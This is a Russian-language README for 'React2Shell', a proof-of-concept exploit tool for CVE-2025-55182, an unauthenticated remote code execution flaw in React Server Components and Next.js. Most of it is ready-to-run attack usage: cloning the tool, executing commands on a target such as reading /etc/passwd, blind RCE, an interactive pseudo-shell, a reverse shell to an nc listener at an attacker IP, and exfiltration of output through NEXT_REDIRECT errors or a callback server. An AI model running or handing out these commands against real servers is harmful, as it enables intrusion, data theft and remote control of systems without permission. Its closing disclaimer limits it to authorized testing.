React2Shell - PoC для CVE-2025-55182

Proof of Concept для CVE-2025-55182 — критической уязвимости удалённого выполнения кода без аутентификации в React Server Components.

Оценка CVSS: 10.0 (Critical)

Уязвимость

Уязвимость существует в десериализаторе Flight-протокола React. Используя загрязнение прототипа (prototype pollution) через специально созданные полезные нагрузки, атакующий может добиться произвольного выполнения кода на уязвимых приложениях Next.js.

Затронутые версии

Установка

git clone https://github.com/p3ta00/react2shell-poc.git
cd react2shell-poc
pip install requests

Использование

Выполнение команды с выводом (по умолчанию — эксфильтрация на основе ошибок)

Вывод возвращается напрямую в HTTP-ответе через ошибку NEXT_REDIRECT — callback-сервер не требуется.

python3 react2shell-poc.py -t http://TARGET:3000 -c "id"
python3 react2shell-poc.py -t http://TARGET:3000 -c "cat /etc/passwd"

Интерактивный режим

python3 react2shell-poc.py -t http://TARGET:3000 -i

Проверка уязвимости

python3 react2shell-poc.py -t http://TARGET:3000 --check

Слепое выполнение RCE (без вывода)

python3 react2shell-poc.py -t http://TARGET:3000 -c "touch /tmp/pwned" --blind

Обратная оболочка (Reverse Shell)

# Запуск слушателя
nc -lvnp 4444

# Отправка полезной нагрузки
python3 react2shell-poc.py -t http://TARGET:3000 --revshell --lhost YOUR_IP --lport 4444

Устаревший способ: эксфильтрация на основе callback

python3 react2shell-poc.py -t http://TARGET:3000 -c "id" --listen --lhost YOUR_IP

Параметры

-t, --target       URL цели (обязательно)
-c, --command      Команда для выполнения (по умолчанию вывод через эксфильтрацию на основе ошибок)
--check            Проверка, уязвима ли цель
--blind            Режим слепого RCE (без захвата вывода)
--listen           Использовать callback-сервер вместо эксфильтрации на основе ошибок
-i, --interactive  Интерактивный режим псевдо-оболочки
--revshell         Попытка установить обратную оболочку
--lhost            IP атакующего для callback/обратной оболочки
--lport            Порт для callback (по умолчанию: 9999)
--callback         Ручной callback URL
--timeout          Таймаут запроса в секундах (по умолчанию: 30)

Как это работает

Метод эксфильтрации по умолчанию использует инъекцию ошибки NEXT_REDIRECT:

1. Выполнить команду и захватить вывод
2. Выбросить ошибку NEXT_REDIRECT с выводом в поле digest
3. Next.js сериализует ошибку в Flight-ответе
4. Вывод появляется непосредственно в теле HTTP-ответа

Это надёжнее, чем эксфильтрация на основе callback, поскольку не требует исходящего сетевого доступа с целевой машины.

Ссылки

• Wiz Security - Раскрытие React2Shell
• Анализ Datadog Security Labs
• NVD - CVE-2025-55182

Отказ от ответственности

Этот инструмент предназначен только для авторизованного тестирования безопасности и образовательных целей. Несанкционированный доступ к компьютерным системам незаконен. Всегда получайте надлежащее разрешение перед тестированием.

Автор

p3ta